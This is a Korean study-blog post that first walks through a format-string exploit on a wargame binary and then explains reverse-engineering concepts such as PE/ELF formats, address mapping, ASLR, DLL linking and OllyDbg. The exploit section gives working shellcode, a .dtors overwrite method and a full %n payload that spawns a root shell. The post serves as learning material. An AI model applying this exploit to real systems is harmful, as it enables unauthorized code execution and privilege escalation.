Security/리버싱

정보보안 스터디 - 17주차 7일 - 포멧 스트링 버그, 리버싱 개념

wonder12 2023. 2. 9. 13:15

 

☞ 포멧 스트링 버그

(포멧 스트링 버그를 이용한 버퍼오버플로우)

 

레벨20에서 마무리했는데 어려웠던 걸로 기억합니다.

 

 

#include <stdio.h>
main(int argc,char **argv)
{
    char bleh[80];
    setreuid(3101,3101);
    fgets(bleh,79,stdin); 
    printf(bleh);
}

 

이 때까지 했던거와는 다른 방식을 볼 수 있습니다.

이 때까지는 버퍼오버 플로우 발생 원인이

문자열의 할당된 버퍼가 10이라면

버퍼에서 20이나 30의 버퍼를 가져오려고 할 때가 발생원인이였습니다.

그러면서 기존의 영역을 침범하기 때문입니다.

 

하지만 지금은

80이 할당량이며

 최대 79밖에 못가져온다는 길이 제한이 걸려있습니다.

 

 

하지만 포멧 스트링이라는 발생원인이 있습니다.

원래 printf() 함수를 이용하여 출력을 할 때는 

 

 

%d와 같이 문자열인지, 십진수인지 포멧 스트링과

포멧 스트링에 대응하는 인자를 적어주는 것이 중요합니다. 

하지만 그게 아닌 그냥 직접 변수를 인자로 사용하여 출력을 하려고 할 때

%n을 이용해서 buffer over flow를 일으킬 수 있습니다.

 

%n은 바이트 즉 글자의 개수를 세어주는 기능이 있는데

123%n 했을 때는 3자리입니다.

하지만

%123d%n 했을 때는 문자로 123이 출력이 됩니다.

 

%d 정수형 10진수 상수
%c 문자값
%s 문자열
----- 자주이용
%x 16진수
%n 바이트개수를 세어줍니다.
%hn %n의 절반인 2 바이트 단위로 계산
----- 드물게 이용

 

 

 

 

하지만 여기서 포멧 스트링 버그가 발생합니다.

%n을 사용하면 aaaa 스택 다음 4bytes에 있는 내용을 

주소(ESP)로 여기고 해당 해당 주소에 계산한 자리수를 10진수로 입력하지 때문에 

포멧 스트링 버그를 이용하여 스택의 값을 변조할 수 있습니다.

 

또한 %n 앞에 다른 포멧 스트링을 이용하면 자리수를 지정하거나 특정 값을 넣을 수 있습니다.

 

 

입력값을 받아온다고 했을 때

%x %x %x %x

로 하면

 

낮은 주소부터 순서대로

높은 주소까지

주소를 받아오는 개념이 됩니다.

원래는 노출이 되지 않습니다.

디버깅 분석을 해서 프로그램 유료 사용, 불법 개조 등의 문제를 일으킬 수 있기 때문에

보통 디버깅 분석을 막도록 기능을합니다. 실제로 tmp 디렉토리로 복사 > gdb -q attackme > b *main > run > disas main 를 해보면

나오지 않고 있습니다.

 

 

 

 

 

포멧 스트링을 사용하여 printf() 함수와 bleh 버퍼 사이의 dummy(12bytes)를 찾을 수 있습니다.

 

 

./attackme
aaaa %08x %08x %08x %08x

> aaaa 0000004f 4212ecc0 4207a750 61616161

 

스택 구조는 다음과 같습니다.

 

 

참고로 ./attackme

"1 2 3 4" 로 하면 하나의 인자로 파악되서
1 2 3 4 결과가 나옵니다.

 

 

또한 aaaa 값을 변경하면 %08x인
 dummy 쓰레기 값도 달라집니다.

 

 

 

%08x %08x %08x %08x

라고 했을 때 ff도

8자리로 000000ff로 표현하겠다는 뜻입니다.

 

원래는 포멧 스트링 버그가 안나는 정상 출력 표현이였다면 10진수로 08이라는 답이 나왔겠지만

현재 8자리로 주소가 나오고 있습니다.

 

 

낮은 주소부터

4바이트입니다. 

 

 

 

이걸 이용하지만

gdb로 디버깅 분석이 불가능하여

리턴 주소를 확인할 수 없으니 (ret이 없으니) 

소멸자 주소를 사용해야합니다.

 

_DTOR_END_ (소멸자) 

 

gcc 컴파일러로 제작된 프로그램들은 소멸자와 생성자를 가지고 있습니다.

.dtors(소멸자): main() 함수가 끝난 후 바로 실행됩니다.

.ctors(생성자): main() 함수 시작 이전에 바로 실행됩니다.

 

 

main 함수가 끝난 후 바로 실행되는 소멸자를 이용하여

소멸자 영역에 쉘 코드 주소를 입력하여 쉘코드가 실행되게 만들겁니다.

 

objdump를 이용하여  소멸자 주소를 찾습니다.

objdump -h attackme | head -5 ; objdump -h attackme | grep "dtors|ctors"

 

 

08049594가 dtor_list 주소이며, 4bytes 뒤에는 dtor_end 주소입니다. 

 

 

쉘 코드를 환경 변수에 등록합니다.

 export SHELLCODE=\
$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')


env | grep SHELLCODE

 

 

 

 환경 변수로 설정한 SHELLCODE의 주소를 찾습니다.

 

vi shellcode.c

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{ char *env;
 env = getenv(argv[1]);
 printf("SHELLCODE Address = %p\n", env);
}

 

gcc -o shellcode shellcode.c

./shellcode SHELLCODE

 

SHELLCODE Address = 0xbffffbc3

 

 

SHELLCODE 환경변수 주소를 이용하여 소멸자 주소에 넣으면 공격이 가능합니다.

이 때 10진수로 넣습니다.

 

 

다음과 같은 형식을 맞춰주면

포멧 스트링 %n을 이용하여 쉘코드 주소의 10진수를 aaaa(616161) 다음 4바이트 DTOR_END 주소에 저장합니다.

 

 

 

쉽게 예시를 들어  100바이트라고 했을 때
X= 100 - (4 + 4+ 24) = 64

X는 64바이트이며
형식을 맞추면
100바이트를 주소에 넣게 됩니다.

 

 

 

하지만 쉘코드 주소의 10진수는 int 범위를 초과하여 

(4바이트는 40억정도가 제한이지만 다른 용량도 포함하면 32억을 담지 못합니다.)

 

2바이트씩 분할하여 소멸자 주소의 상위/하위에 대입합니다.

(0xbfff, 0xfbc3)

 

 

4바이트를 2바이트씩 나눠서

1번째 부분을 사용합니다.

 

 

 

 

49151/ 64451로 나뉩니다.

 

1) 소멸자 하위 주소에 들어갈 SHELLCODE 환경 변수 10진수 구하기

 

0xfbc3 = 64451%n

 64451 - (4 + 4 + 4 + 4 + 24)= 64411

 

'64451'를 aaaa 입력 이후 다음 4byte 소멸자(하)에 저장합니다.

 

 

 

2) 소멸자 상위 주소에 들어갈 SHELLCODE 환경 변수 10 진수 구하기

 

 

 

 

0xbfff = 49151%n

49151 - (4+4+4+4+24+64411) = -15300

 

근데 여기에서는
값이 음수로 나오기 때문에 
보수 방식으로 처리해줍니다.

이 부분 때문에 많이 헷갈릴 수 있습니다.

 

0x1bfff = 114687

114687 - 64451 = 50236

 

 

 

 

결국 페이로드는 \를 붙여 이렇게 제작할 수 있습니다.

 

 

"aaaa"+"\x98\x95\x04\x08"+"bbbb"+"\x9a\x95\x04\x08"+"%08x"*3+"%64411d%n"+"%50236d%n"

 

 (python -c 'print(\
"aaaa"+"\x98\x95\x04\x08"+\
"bbbb"+"\x9a\x95\x04\x08"+\
"%08x"*3+\
"%64411d%n"+\
"%50236d%n")';cat) | ./attackme

 

 

 

 

 

 

 리버싱(역공학 분석) 개념

 

보통 프로그램을 실행할 때

사람이 읽는 목적으로 만들어진 소스코드가 있으면 그걸 기계가 읽을 수 있도록 컴파일링이라는 과정을거치면서 기계어로 만듭니다. 그리고 링커(함수 연결시켜주는)를 거쳐 실행파일을 만든 후 실행됩니다.

 

그 과정을 역으로 하는 게 리버싱입니다.

디버깅한 어셈블리어를 보고 해당 프로그램이 소스코드가 이렇게 이루어져 있겠구나. 하고 분석하는 거죠. 

 

이 때 리버싱의 좋은목적은

프로그램 분석(조건, 반복문 등), 업데이트 및 패치를 하기위한 분석,  악성코드 분석 등이 있습니다.

나쁜 목적은

프로그램 분석해서 불법 유료화, 시리얼키 인증 제거> 우회, 악성코드 제작/배포가 있습니다.

 

 

이거 키인증 기능만 제거하고 나머지만 사용하면 무료로 사용할 수 있겠는데? 싶어서

이런 나쁜 리버싱을 거치기도 합니다.

 

 

어쨌든 취약점 진단 / 솔루션 제작 직무에서 

많은 리버싱 가능 인력을 필요로 하고 있습니다. 

 

 개념

프로그램: 저장소(하드디스크)에 저장되어있는 실행파일의 모음을 말합니다.
프로세스: 실행을 위해 메모리(단기기억)로 옮겨진 실행파일을 말합니다. 
프로세서(CPU): 메모리에 올라간 실제 프로그램을 실행하는 계산기입니다.(일꾼)
쓰레드: 생성된 프로세스에서 처리/흐름 과정을 담당하는 프로세스안의 작은 프로세스입니다.(일꾼의 손가락)

 

 

 

 실행파일 형식

리눅스의 실행파일 형식이 ELF(Excutable & Linkable Format)이라면

윈도우 실행파일 형식은 PE(Portable Exectable)입니다.

 

여기서 실행파일이란

명령어에 의해서 특정 작업을 수행할 수 있도록 코드 및 데이터가 포함된(dll이 모여있는) 파일입니다.

 

 

exe파일은 어디에 있든 실행이 되지만

올바른 위치에 dll파일이 없으면 실행이 안되는 경우도 있습니다.

 

 

 

 메모리 주소

 

절대 주소

메모리 관리자 입장에서 보는 물리주소입니다.(실제 주소)

 

상대 주소

사용자 프로세스 입장에서 보는 가상 주소입니다.

 

메모리 관리자(재배치 레지스터)

실제 메모리 내의 절대 주소를 상대 주소로 변환하는 작업을 처리합니다.

 

 

실제로는 물리를 이용하기 때문에 필요하지만

가상에서 매핑해서 쓰는 개념으로 생각하면 됩니다.

 

0x0 0x1를 사용하고 있다면 

 

물리: 0x2부터~

가상: 0x0 부터~ 매핑해서 사용합니다.

 

사용이 다 종료 되었다면

다시 물리를 가지고 다른 프로그램 실행할 때 매핑하여 사용합니다.

 

공간을 효율적으로 사용할 수 있는 장점이 있습니다.

 

 

실제로는 중복되지 말라고 임의의 번호로 랜덤하게 실행됩니다.

 

 

 

경계 레지스터

운영체제 영역
--
사용자 프로그램 영역 

--

가 있으면

사용자 프로그램 영역에서 > 운영체제 영역으로 침범하면

프로그램 종료가 됩니다.

 

 

 

이미지 베이스(image base)

실행파일이 메모리에 로드되는 가상 주소입니다.

영역이 정해져 있으며 이 영역은 PE파일마다 예약된 범위가 있습니다.

A프로그램실행 >> 0x0이아니라 어중간하게 어디서 실행이됩니다.

 

 

RVA는 메모리가 올라갔을 때의 주소이며

예를들어 0 ~20까지 있다면

이미지 베이스 5~20까지를 말하고

VA는 0~20전체를 말합니다.

 

 

분석도구

PE_view에서 보면 

 

fileoffset/viewoffset(0번부터)/ RVA메모리올라갔을때주소 / VA=0번째부터주소=RVA+백만

보기 형식이 이렇게 있습니다.

 

Ollydbg에서 보면

윈도우7 이상에서 자체적으로 ASLR 기능을 적용하고 있고

중복방지를 위해(프로그램들이 모두 0번째에 올라가서 겹쳐지는 게 아닌 )

메모리에 로드되는주소 image base를 랜덤으로 변경하는 기능입니다.

ctrl F2를 누르면 랜덤으로 바뀝니다.

물론 기능 안쓰는걸로 만들어 실행하면 고정된 백만에서 안바뀝니다.

 

 

API(application programming interface)
 운영체제 프로그램 언어가 응용프로그램을 사용 할 수 있도록 합니다. = 쉽게 말해 함수입니다.

 

 

 

 DLL(dynamic linked library)
프로그램들이 동시에 사용할 수 있는 도서관입니다.

user32.dll 에 수많은 책*함수(들이 있습니다.

 

윈도우 기능 관련 실행 프로그램들은

system32폴더에 들어있습니다.

 

예를 들어

 dependency walker에서 보면

user32.dll파일에서

여러 함수(API)가 모여져있는데

화면잠금 기능인 lockworkstation 의 경우

 

 

 

대부분의 개발자들은 소스코드를 개발할 때 api를 갖다가 참조해서 사용합니다.

개발에는 두가지 방식이 있습니다.

 

 


static linking

DLL 안씁니다.
= 잠금 소스 코드 직접 만들어야 됩니다.
컴파일 진행시 함수가 링커에 의해 실행 파일에 연결되는 방식입니다.
함수의 코드가 포함되어있기 때문에 파일 크기가 증가됩니다.
라이브러리 dll 파일 필요

 

 

dynamic linking 
목록보고 dll 함수 불러옵니다.
chrome  Abc.dll(a 함수)
함수 목록만 불러오므로 실제 함수코드 정보는 포함되지 않습니다.
따라서 파일 크기가 증가되지

 

 

 

크롬브라우저를 리버싱해서 유사프로그램을 만들고 싶다면

다 처음부터 제작하진 않을 것이고

크롬브라우저에서 가져올 dll에서 함수를 가져올건 가져오고

직접 제작할건 제작할겁니다.

 

 

 

예를 들어 스키장을 간다고 했을 때

 

스키

복장

헬멧 등

여러 용품을 

직접 챙겨갈지,

 

아니면

대여를 할지로 나뉘는 것과 같습니다.

 

직접 챙겨가면 들고갈 부피와 무게가 커지기 때문에

대여를 할 때는 어떤걸 가져갈지 리스트만 알면 부피와 무게의 부담은 없습니다.

 

 

대부분 혼용하여 필요한 부분 섞어서 쓰는 개념입니다.

 

DLL 로드 방식

dll을 로드하는 dynamic linking 방식에서 dll로드하는 방식은 2가지유형입니다.

 

명시적 링킹

Loadlibrary() 함수를 통해서 dll을 불러옵니다.
get~() 함수를 통해 함수의 주소를 획득해 호출합니다.
=스키 어디가서 빌려요? 라고 물어보는 것입니다.

 

암시적 링킹

실행 파일 자체에 사용한 dll 함수정보를 포함합니다.
=어디가서 빌리는지 알고있습니다.

 

EX1)

user32.dll 에서 화면잠금 기능은

많은 api를 통해 lockworkstation 실행하는 개념
=user32.dll 의 실행파일하고 목록이 다있으므로 암시적 링킹
=함수들이 안보입니다.

 

EX2)

kerner32.dll 에서 user32.dll 을 불러와 

안에 많은 API들 중에 lockworkstation을 찾습니다.

= 함수들이 보입니다.

 

 

 

어짜피 프로그램 자체는 dll을 불러오는 건 똑같아 암시적이지만

행동자체가 명시적이나 아니냐로 나뉩니다.

 

 

 

 

ollydbg

리눅스의 gdb가 일일이 주소를 찾고 스택도 그리고, 원본 소스 코드도 확인하면서

따로따로하는 불편한 과정이였다면

 

 

윈도우에서 제공하는 ollydbg 는

스택도 상세하게 볼 수 있으며 

전체적으로 보기 편하게 되어있는 뷰어 입니다.